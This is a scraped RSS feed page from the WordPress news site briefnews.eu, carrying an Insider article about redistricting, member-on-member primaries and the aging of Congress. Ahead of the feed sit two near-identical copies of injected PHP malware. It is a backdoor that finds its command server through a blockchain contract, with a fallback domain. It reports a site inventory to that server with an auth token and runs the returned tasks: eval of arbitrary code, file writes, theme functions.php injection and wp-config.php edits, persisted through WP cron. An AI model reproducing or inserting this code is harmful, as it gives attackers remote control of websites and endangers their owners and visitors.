// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); aging – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 25 Sep 2022 11:28:55 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png aging – Brief News https://briefnews.eu 32 32 Fights over political lines have fueled the aging of America’s government. But that may be changing. https://briefnews.eu/fights-over-political-lines-have-fueled-the-aging-of-americas-government-but-that-may-be-changing/ https://briefnews.eu/fights-over-political-lines-have-fueled-the-aging-of-americas-government-but-that-may-be-changing/#respond Sun, 25 Sep 2022 11:28:55 +0000 https://briefnews.eu/fights-over-political-lines-have-fueled-the-aging-of-americas-government-but-that-may-be-changing/ Illustration of a blue-colored old man drawing a redistricting line in the ground with his cane, next to other districted zones colored red

Marianne Ayala/Insider

  • Redistricting and fights over political lines have fueled the aging of America's government.  
  • More often than not, older members of Congress win in primaries between two incumbents.
  • But polarization and partisanship are enabling younger members to knock out their elders.
  • Read more from Insider's "Red, White, and Gray" series.

Every 10 years, a new US Census forces states to redraw their political maps through redistricting. Whenever a state loses a House seat in the process, incumbent members of Congress are forced to run against each other — and younger, less experienced incumbents often end up on the chopping block. 

An Insider analysis, based on data compiled by Bloomberg's Greg Giroux, found that in 20 incumbent-on-incumbent contests since 1992 where there was an age difference of at least two years between the candidates, 12 were won by the older member and eight by the younger member. 

The dynamics of member-on-member contests have favored older incumbents and reinforced the gerontocracy in American politics as we know it. Since the 1990s, the age of Congress has significantly increased compared to the baseline growth seen over the 20th century — and redistricting has only hastened that trend. 

"It doesn't surprise me that age would make a difference on the margins," Jamie Carson, a political scientist at the University of Georgia who studies congressional elections, told Insider of member-on-member races. "It brings a bit more experience, better fundraising prowess, and maybe they know the district better." 

The 2012 cycle, where the more senior representative won eight of 11 such contests following redistricting, was particularly brutal for younger incumbents. 

In New Jersey, then 75-year-old Bill Pascrell easily dispatched 59-year-old Democratic Rep. Steven Rothman by 22 points when the two ran in the same district in 2012. 

Fifty-year-old Rep. David Schweikert narrowly ousted the one-term 35-year-old Ben Quayle, the son of former Vice President Dan Quayle, in the Phoenix suburbs. Sixty-nine-year-old John Mica, who had served in Congress for nearly 20 years, knocked out 55-year-old Sandy Adams, who served one term, in suburban Central Florida. And 60-year-old Janice Hahn defeated fellow Democrat Laura Richardson, 50, in the general election for California's 44th District by a resounding 20 points.

Rep. Alex Mooney, left, and Rep. David McKinley, right
GOP Rep. Alex Mooney, left, and Rep. David McKinley, right, are facing off in a member-on-member primary in West Virginia.

AP Photo/Chris Tilley, File, AP Photo/J. Scott Applewhite, File

Youth movement — fueled by partisanship?

But that trend is changing. Accelerating partisanship and polarization, in particular, are shaking up the game — and increasingly empowering younger lawmakers to knock out their more senior rivals. 

In 2022, the 75-year-old, five-term Rep. David McKinley, a West Virginia Republican, had some key advantages on his side when reapportionment put him in the same district as 50-year-old Rep. Alex Mooney. 

McKinley, endorsed by both Virginia's Republican governor and its powerful Democratic senator, Joe Manchin, was able to tout his role in the passage of a landmark bipartisan infrastructure bill that provided much-needed funds for his state. But an endorsement from President Donald Trump and hundreds of thousands in outside spending from conservative groups boosted Mooney to win the day. 

Younger candidates have won four out of six member-on-member primaries of the 2022 cycle, though in one case, Rep. Jerry Nadler of New York, who's 75, was younger by just a few months than Democratic rival, Rep. Carolyn Maloney. And in the cases of the two older incumbents who came out on top in their races, age and tenure in Congress weren't the deciding factors.

Republican Rep. Adam Kinzinger of Illinois outside a January 6 committee hearing on June 13, 2022.
Republican Rep. Adam Kinzinger of Illinois outside a January 6 committee hearing on June 13, 2022.

Drew Angerer/Getty Images

State lawmakers have expertly wielded their redistricting pens to kneecap their opponents — and hurt younger candidates 

Over the decades, intentional partisan gerrymandering — and the inevitable reshuffling that comes along with states losing districts and redrawing their lines — have dashed many congressional careers and aspirations.

Partisan gerrymandering and internal party struggle over district lines can also prevent young candidates or candidates from diverse backgrounds from getting elected to Congress in the first place. 

"Wisconsin's 7th District is very gerrymandered, so that was already a challenge that, going in, I knew," Tricia Zunker, who ran as a Democrat in a special election in a rural, Republican-leaning north-central Wisconsin district in spring 2020, told Insider in an interview.

Partisan gerrymandering, the redrawing of political district lines to favor one political party over the other, has gotten increasingly tactical. State lawmakers, in addition to utilizing the process to kneecap the opposing party, also make strategic choices about which members of Congress to sacrifice. 

In 2002, Republican state lawmakers in Michigan, who then controlled the redistricting process, drew two Democrats into the same blue district to make the surrounding districts safer for their party, a gerrymandering tactic known as packing.

The new map put then 45-year-old Rep. Lynn Rivers in the same district as Rep. John Dingell, a scion of Michigan politics who still holds the mantle of the longest-serving member of Congress in history.

Rivers mounted a competitive challenge — but still lost the race by 18 points. And she's not the only one who saw her time in Congress come to an end after partisan gerrymandering pitted her against a colleague. 

After the 2020 Census, Republican lawmakers in Georgia took the opportunity to force out one of the two Democratic women who had won seats in the blue-trending Atlanta suburbs, pushing Reps. Lucy McBath and Carolyn Bourdeaux into the same safely Democratic district. 

In Illinois, which lost one House seat after 2020, a map drawn by Democrats in the state legislature pitted two sets of Republican incumbents against each other in northern and central Illinois. Rep. Rodney Davis lost to freshman Rep. Mary Miller in one of those races. In the other, Rep. Adam Kinzinger decided to retire rather than run against Rep. Darin LaHood. 

"Through a strategic lens, it's a chance to knock out an incumbent and make that seat more vulnerable," Carson, the political scientist, said of gerrymandering.

The game of political musical chairs set off by a state losing a seat in Congress can also box out young, upstart candidates hoping to break in. 

Lourin Hubbard, a 33-year-old water-quality-control manager in California's Central Valley, ran as a Democrat in a June 2022 special election after a top GOP representative, Devin Nunes, left Congress early to run the Trump Media & Technology Group, the company behind the former president's Truth Social platform.

Hubbard, who lost to the 71-year-old Republican Connie Conway, considered running for a full term in Congress. But California's new commission-drawn congressional map, which will fully take effect come January 2023, dissolves Nunes' old district and splits it up into four new ones — including one held by Democratic Rep. Jim Costa. 

Hubbard told Insider that local county Democrats discouraged him from running for a full term in Congress against Costa, who now holds a safely Democratic Fresno-based seat.     

The new map "created some tension and conflict" within the county Democratic Party. "And to avoid that conflict altogether, I was like, 'I'll just run in the special,'" he said. 

Democratic Rep. Andy Levin of Michigan at a press conference on Capitol Hill on February 9, 2022.
Democratic Rep. Andy Levin of Michigan at a press conference on Capitol Hill on February 9, 2022.

Bill Clark/CQ-Roll Call via Getty Images

Partisanship and parochial factors are shaking up member-on-member primaries

Incumbency is the best predictor of whether a candidate wins an election. 

Challengers, Carson noted, have the best shot at unseating incumbents if they have prior political experience, money, or are up against an incumbent with particular weaknesses or a scandal.

"Even if you don't like the incumbent, that's not enough," Ryan Williamson, a resident fellow for governance at the R Street Institute, a Washington DC-based policy think tank, told Insider. "You have to actively dislike the incumbent and mobilize around unseating them, which is a much higher burden."

But the rare contests where incumbents are pitted against each other are "idiosyncratic," Carson said, and don't follow predictable patterns — especially in the 2022 cycle.        

Two decades after the Dingell-Rivers race, another primary fight between two Michigan Democrats shows how partisanship and money can eclipse age, experience — and even membership in a political dynasty — in member-on-member races. 

Rep. Haley Stevens, 39, could have had an uphill battle against Rep. Andy Levin, 61, when he decided to run against her in her suburban Detroit district, which became more safely Democratic under new lines drawn by a citizen-led commission. 

Like Dingell in 1955, Levin took over the House seat held for decades by his father, Sander Levin, in the 2018 midterm elections, following both his father and his uncle, former Sen. Carl Levin, to Washington. 

But Levin took a risk by choosing to run in the safely blue 11th District instead of the more Republican 10th District where he lived, planting himself on largely unfamiliar turf where he represented just a quarter of the electorate. 

The explosion in outside campaign spending since 2002 has shaken up the dynamics of all House primaries and heavily factored into the 11th District contest. A slew of pro-Israel, women's, and progressive organizations poured over $ 9 million, $ 7.45 million of which benefited Stevens, into the race. Stevens ended up beating Levin by 20 points in August — overcoming both his seniority in age and the potency of his family name. 

Like in all House elections, money plays a significant role in member-on-member races. Older incumbents often have more money in the bank and more established fundraising networks from their years campaigning for elected office and, in some cases, greater personal wealth, candidates and experts told Insider. 

The candidate who spent the most money won four out of six member-on-member contests in 2022 and nine out of 11 contests in the 2012 cycle, according to an Insider analysis of campaign-finance records. 

"Every new midterm breaks the previous record, and a bulk of that money is going to flow to the most competitive primaries and general elections," Carson said, noting that "money is a necessary but not sufficient condition," particularly in member-on-member contests. 

State lawmakers have drawn incumbents together for political gain for decades, but the post-2020 redistricting cycle also saw many maps drawn by courts or independent commissions. Many of those commissions prioritized drawing competitive districts over protecting longtime incumbents, which blunted the advantage that some more tenured incumbents enjoyed. 

New York's court-drawn congressional map, resulting from a messy and protracted legal battle, pitted two longtime House Democrats and committee chairs, Nadler and Maloney, against each other in upper Manhattan.

That race, a clash of two septuagenarian titans of New York politics, was driven more by parochial forces than national ones, with The New York Times editorial board and the powerful Sen. Chuck Schumer throwing their support behind Nadler in the final stretch. 

As the Stevens-Levin race showed, the member of Congress representing most of the new district's constituents is generally favored in a matchup between two incumbents in the same seat. 

But in other races, like the Hahn-Richardson contest, a candidate who represented very little of their new territory came out on top.  

